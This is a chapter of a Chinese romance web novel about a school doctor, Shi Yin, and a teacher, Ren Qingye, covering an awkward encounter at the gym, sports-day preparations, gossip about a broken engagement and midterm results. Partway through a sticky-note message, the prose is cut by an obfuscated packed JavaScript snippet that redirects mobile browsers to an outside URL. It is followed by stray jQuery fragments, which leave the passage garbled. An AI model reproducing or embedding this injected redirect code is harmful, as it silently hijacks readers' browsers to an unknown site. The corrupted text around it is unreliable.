16 尴尬,躲躲闪闪
时音第一反应是把手往下伸,要去拂开那咯人的东西,手马上被任清野抓住。
任清野力气很大,死死拽住时音下意识的动作,气得笑出声,胸膛振动起伏:“时音,你想做什么?”
时音脑袋“轰隆”,反应过来。
那带温度的东西是什么!
是粗干的侧枝!
两人贴在一块,他被侧枝戳到了!
触电般,时音挣脱任清野的束缚,从任清野怀里跳出来,回退两三步,涨红了脸,脑袋瓜顶像蒸汽火车呜呜呜冒热烟。
时音百口难辩,他想骂流氓又清楚知道他骂不得,他哪里敢说什么,要不是任清野,他早被鞋带绊倒,摔个难看的狗吃屎。
千言万语,最后汇成三个字,时音忍住想九十度鞠躬的冲动:“对不起!”
任清野放开时音的手,表情带上几分尴尬。
任清野垂眸,时音脸蛋红扑扑。
空气都是僵的。
任清野尬咳一声:“你没摔伤吧?”
时音晃脑袋:“没,你呢……额,”顺嘴了,时音闭上嘴巴,欲哭无泪,低声:“……抱歉。”边说眼神还往人家身上看。任清野的裤子很宽,完完全全看不出那处的状态。
不是应激起来的状态,只是体积大,贴近就能感觉到。
要不是恰好摔倒被扶住,近距离接触,时音想大概自己这辈子都不能知道那东西的大小。
时音想得多,眼珠儿滴溜转。
任清野揉揉眉心,把时音的小表情尽收眼底,他尽量让语气平稳下来:“你先把鞋带系好。”
时音哦声,立马蹲下/身。
毫无防备的姿势,时音跪在任清野面前,脑袋瓜低垂着,在认真系鞋带,露出雪白的后颈皮肤。
一抹白呈到任清野眼下。
任清野心痒痒。
怎么会有一个男生长得哪哪都精致。
今天的健身是没办法心无旁骛继续下去。
周六整天两人几乎都待在一起,时音系好鞋带,站起来,主动提:“我得回去了,我家有门禁。”
两人站的姿势全装进墙上的全身镜里。
镜子里的时音扬起头,脖子白净细长,身上一身特地换过的黑色运动套装,双腿笔直,新款白色运动鞋踩出了一种漂亮弧度。
任清野将袖子挽到小臂上面,肌肉是放松状态,他没戳破时音蹩脚的谎言:“嗯,回去吧,今天辛苦了,早点休息。”
时音今天晚饭也是在任清野家吃的。
伙食比中午还好,任清野做了一大锅鲍鱼虾仁焖饭。
时音吃得一粒不剩,消化得差不多了才开始运动。
哪里想会遇到这种尴尬事。
回到家时音很自然拿手机要给周臻颖发消息,什么辣椒侧芽,那明明是根XXX!
文字敲打半天,指腹在“发送”键上悬空,时音犹豫了,几秒后,默默把一大段编辑好的文字删除掉。
停住了分享欲。
下腹被贴过的地方还产留触感。
时音有点私心了。
这个秘密他想私吞,想藏起来。
时音把手掌盖在眼睛上,试图盖不住眼里的失落。
如果任清野喜欢男的就好了。
***
紧张的期中考告一段落,马上迎来的是令人期待的运动会。
运动会比赛项目、入场仪式、学校啦啦队人员选拔训练,任务一件一件布置下来。
任清野他们几个班主任又开始忙了。
时音也被任清野安排了任务:参与班级入场方阵表演设计和排练。
周一的班会时音做了五分钟短短的自我介绍。
正式和学生们见面,不在是体育课上的闹腾,学生们是欢迎时音的。
同时有许多学生对医生这职业感兴趣,此起彼伏举手,七嘴八舌,在问时音关于当医生的问题。
从生物学不好可不可以当医生,到当医生是不是真的要读一辈子的书。
时音有耐心,台下学生朝气蓬勃,时音有问必答。
讲台是任清野交出来的,时音台风稳,能把控班会秩序。
黑板上亮着时音自我介绍时写的粉笔字,字迹刚劲有力,一笔一划,工整漂亮。
写的是“时音”两个字。
任清野在后排旁听,听大家把问题越扯越远,在赖竹举手问时音结婚没有时,任清野拍拍桌子,往前走,挡住这些偏离主题的问题:“好了啊,无关学习的事情不要问。”
班级学生多是怕任清野的。
任清野脸一拉,大伙儿赶紧闭上嘴巴。
时音笑了笑,和任清野视线仅在空中触碰了一秒。
时音躲闪,匆匆移开,下了讲台,把班会还给任清野。
周六晚上的尴尬还没消完。
班会后面的内容任清野主持,时音领走设计方阵这活后就离开了教室,回到医务室。
任清野早上就把时音拉进了班级群,后续会有体育课代表、组织委员、宣传委员和时音对接。
时音对运动会并不是很感兴趣,从读书到现在,他最讨厌的科目:体育仅次于生理学之后。
运动会班级入场方阵啊,半点灵感都没有。
脑袋空空,时音决定找时间问问豆包老师,有没有什么现成的东西让他借鉴借鉴。
彼时初学芩在处理一位踢球摔到膝盖擦伤的初二年级男同学。
时音不在的几天,初学芩已经能很顺利地掌握医务室工作流程。
只要肯学什么都能上手。
时音等初学芩忙完,才找初学芩问个小问题:“你表哥他,之前是不是订过婚?”
“时哥你可别和我提这件事啊,”初学芩洗完手,把登记本收进柜子里,回头朝时音愤愤道:“我哥那订婚对象,超级无敌辣鸡。”
时音挑眉。
初学芩搬了把椅子过来,坐在时音身边,眨巴眨巴眼睛:“不对啊,时哥,你是怎么知道我哥这破事的?”
时音,歪脑袋:“外头都知道我的破事,你哥比我还出名,瞒得住?”
初学芩:“吁。”
时音催促:“继续,说说。”
初学芩啧声:“那个人好可恶。”
“怎么个可恶?”
“我们家都答应他可以先订婚,全力支持他去国外深造读博,给他打通了关系,以后国内国外都有很好的就业岗位,我哥欣赏他追求深造学习的积极态度,两家商场上的合作都直接提上行程了。”
时音点点头,听得很认真:“然后?”
“这么好的条件是不是?”初学芩咬牙切齿,“人家不领情哦,我们家婚宴请帖都发出去了,他却逃婚了!”
整这出,下任家的脸。
时音张了张嘴:“啊,这样啊?”
时音不明白,“她和你哥之间,是不是有什么误会,吵架了?闹矛盾了?所以才会这样做?”
初学芩咯咯磨牙:“谁知道啊,反正肯定不是我哥这边的问题。”
时音摸摸下巴。
任清野这人啊,论外貌,是多数女性同胞喜欢的帅哥脸,论身材,没得说,他这个小GAY都馋得不行,但论脾气啊……时音欲言又止:“嗯……谁知道呢。”
也不排除是任清野把女方气跑的。
大概知道这事的起因经过结果,时音没做过多评价。
毕竟时音没正直到哪里去。
在世界的某个角落,也有一位被时音“逃婚”的倒霉联姻对象。
周二时音抽了时间去办公室帮任清野改剩下的一小部分卷子,还要统计所有科目成绩。
年段长规定期中考排名结果周四前必须整理出来,下周要开家长会,家长会后就是运动会。
这学期的节奏走得很快。
任清野周二上午有满满四节课。
时音一大早过来时,任清野已经不在工位。
时音只在桌上看到了三张彩色便利贴,便签上任清野用马克笔写了几行留言。
“左手第三格抽屉里有零食和饮料,无聊可以拆开吃。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012810|192911||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
电脑密码是6161,EXCEL表格我打开了,对行录成绩就行。”
“能做多少是多少,十一点多就可以去吃午饭。”
时音把三张便利贴撕下来,在掌心里按平,做贼心虚,匆匆塞进口袋,藏起来。
周二上午基本是主课的课,周臻颖和萧柏延他们都不在。
办公室里只有庚元德。
庚组长保温瓶里装着热茶水,拧开瓶盖,茶香四溢。
时音坐下来,打开第三格抽屉,里头有两包膨化食品、两包不二家的糖果,几瓶酸奶。
时音抽了款青苹果口味的棒棒糖出来,撕开保护套。
窸窸窣窣的声音惹得庚元德回头,他笑眯眯:“时老师,来杯茶吗?”
时音把棒棒糖保护套丢进脚边的垃圾桶,也笑眯眯:“不用,谢谢庚老师。”
办公室就他俩。
庚元德举起茶杯:“小时总前几天送的茶叶,正宗铁观音,香得嘞。”
时音保持着脸上的微笑,礼貌接下这句话:“好喝下次再让我哥给您送点。”
庚元德抬下巴,看时音桌上的工作:“你还有多少没弄?”
时音捻了捻卷子厚度:“不多。”
庚元德点头:“任老师人可以,负责任,人品各方面都不错,私生活干净,你跟着他干活,我放心。”
时音嗯呢点头,该夸的时候得夸起来:“任老师很不错,是位好老师。”
被发好老师卡的任老师上完充实的四堂语文课,喉咙干涩。
杯子里的水见底,回办公室接水,时音已经干完活离开了。
桌面被收拾得干干净净,还摆了一杯茶水。
任清野手背摸杯壁,尚有余温,抬头,环顾四周。
时音刚离开没多久。
办公室里陆续有下课回来的同事。
任清野坐下,打开第三格抽屉。
里面的零食只少了一整袋不二家糖果,其他东西原封不动。
任清野喉结上下滚了一圈,最后轻手轻脚把抽屉关好,拿起桌上的温茶水喝起来。
***
期中考成绩排名在周三上午粘贴到了年段公告栏上。
一时间走廊被围得水泄不通。
班主任也把班级排名电子版发到各自班级群。
吴子书在这次考试中突飞猛进。年段进步五十几名,班级排名前十,任清野履行承诺,当天就把吴子书叫到办公室,把《鬼王的男宠》还给吴子书。
吴子书笑得眼睛眯成一条缝。
除了还书这件事,任清野还给吴子书布置了任务:“你那么爱看故事书,就让你来当阅读课代表。”
吴子书抱着两本书,懵:“什么阅读课?”
任清野简单把十一月要准备开阅读课计划说了一遍,给吴子书布置任务:“只许推荐名著,这类言情书籍一概禁止。”
吴子书听懂了,还纠正:“不是言情,是纯爱。”
任清野不管什么言情纯爱:“你是第一个分享阅读的,我希望你能起到积极的带头作用。”
这事儿吴子书行啊,拍拍胸脯保证完成任务。
说完了正事,吴子书凑近,问点儿私事:“老大,时老师结婚了吗?”
任清野,皱眉:“你问这个做什么?”
吴子书嗯了一长声。
任清野抿直嘴唇,盯住吴子书,别不是什么亲戚小姨小姑表姐未婚,想给时音介绍对象。
吴子书:“我小姨……”
任清野打断吴子书:“私事你自己去问时老师。”
吴子书:“……哦。”
吴子书被任清野赶出办公室。
学生走了,任清野手机拿起来,放下来,又拿起来,放下……反反复复几次,最后还是没去追问时音私生活的事。
任清野可不信时音说的什么“一样”的话?
他单身未婚,时音呢?
一个有十年恋爱经验,青梅竹马的时老师啊,谈什么“一样”。
骗子。
任清野按住酸涩的眉心。